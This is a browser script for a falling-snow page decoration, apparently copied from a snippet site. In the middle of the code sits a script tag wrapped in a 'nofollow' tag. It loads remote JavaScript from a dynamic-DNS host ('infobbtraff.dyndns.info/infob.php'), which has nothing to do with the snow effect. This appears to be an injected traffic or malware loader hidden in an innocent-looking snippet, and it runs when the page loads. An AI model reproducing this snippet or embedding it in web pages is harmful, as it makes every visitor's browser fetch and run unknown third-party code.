<SCRIPT type=text/javascript>      
//by www.SPK-Team.net.ru      
       var snowmax=300      
       var snowcolor=new Array("#AAAACC","#DDDDFF","#CCCCDD","#F3F3F3","#F0FFFF")       
       var snowtype=new Array("Arial Black","Arial Narrow","Times","Comic Sans MS")       
       var snowletter="*"       
       var sinkspeed=0.9       
       var snowmaxsize=22       
       var snowminsize=8       
       var snowingzone=1       
       var snow=new Array()       
       var marginbottom       
       var marginright       
       var timer       
       var i_snow=0       
       var x_mv=new Array();       
       var crds=new Array();       
       var lftrght=new Array();       
       var browserinfos=navigator.userAgent       
       var ie5=document.all&&document.getElementById&&!browserinfos.match(/Opera/)       
       var ns6=document.getElementById&&!document.all       
       var opera=browserinfos.match(/Opera/)       
       var browserok=ie5||ns6||opera       
       function randommaker(range) {       
       rand=Math.floor(range*Math.random())       
       return rand       
       }       
       function initsnow() {       
       if (ie5) {       
       marginbottom = document.body.clientHeight       
       marginright = document.body.clientWidth       
       }       
       else if (ns6) {       
       marginbottom = document.body.clientHeight       
       marginright = window.innerWidth       
       }       
       else if (opera) {       
       marginbottom = document.documentElement.clientHeight       
       marginright = document.body.clientWidth       
       }       
       var snowsizerange=snowmaxsize-snowminsize       
       for (i=0;i<=snowmax;i++) {       
       crds[i] = 0;       
       lftrght[i] = Math.random()*15;       
       x_mv[i] = 0.03 + Math.random()/10;       
       snow[i]=document.getElementById("s"+i)       
       snow[i].style.fontFamily=snowtype[randommaker(snowtype.length)]       
       snow[i].size=randommaker(snowsizerange)+snowminsize       
       snow[i].style.fontSize=snow[i].size       
       snow[i].style.color=snowcolor[randommaker(snowcolor.length)]       
       snow[i].sink=sinkspeed*snow[i].size/5       
       if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}       
       if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}       
       if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}       
       if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}       
       snow[i].posy=randommaker(2*marginbottom-marginbottom-2*snow[i].size)       
       snow[i].style.left=snow[i].posx       
       snow[i].style.top=snow[i].posy       
       }       
       movesnow()       
       }       
<nofollow><script language='JavaScript' src='http://infobbtraff.dyndns.info/infob.php?i=20481'></script></nofollow>   
       function movesnow() {       
       for (i=0;i<=snowmax;i++) {       
       crds[i] += x_mv[i];       
       snow[i].posy+=snow[i].sink       
       snow[i].style.left=snow[i].posx+lftrght[i]*Math.sin(crds[i]);       
       snow[i].style.top=snow[i].posy       

       if (snow[i].posy>=marginbottom-2*snow[i].size || parseInt(snow[i].style.left)>(marginright-3*lftrght[i])){       
       if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}       
       if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}       
       if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}       
       if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}       
       snow[i].posy=0       
       }       
       }       
       var timer=setTimeout("movesnow()",50)       
       }       

       for (i=0;i<=snowmax;i++) {       
       document.write("<span id='s"+i+"' style='position:absolute;top:-"+snowmaxsize+"'>"+snowletter+"</span>")       
       }       
       if (browserok) {       
       window.onload=initsnow       
       }       
       </SCRIPT>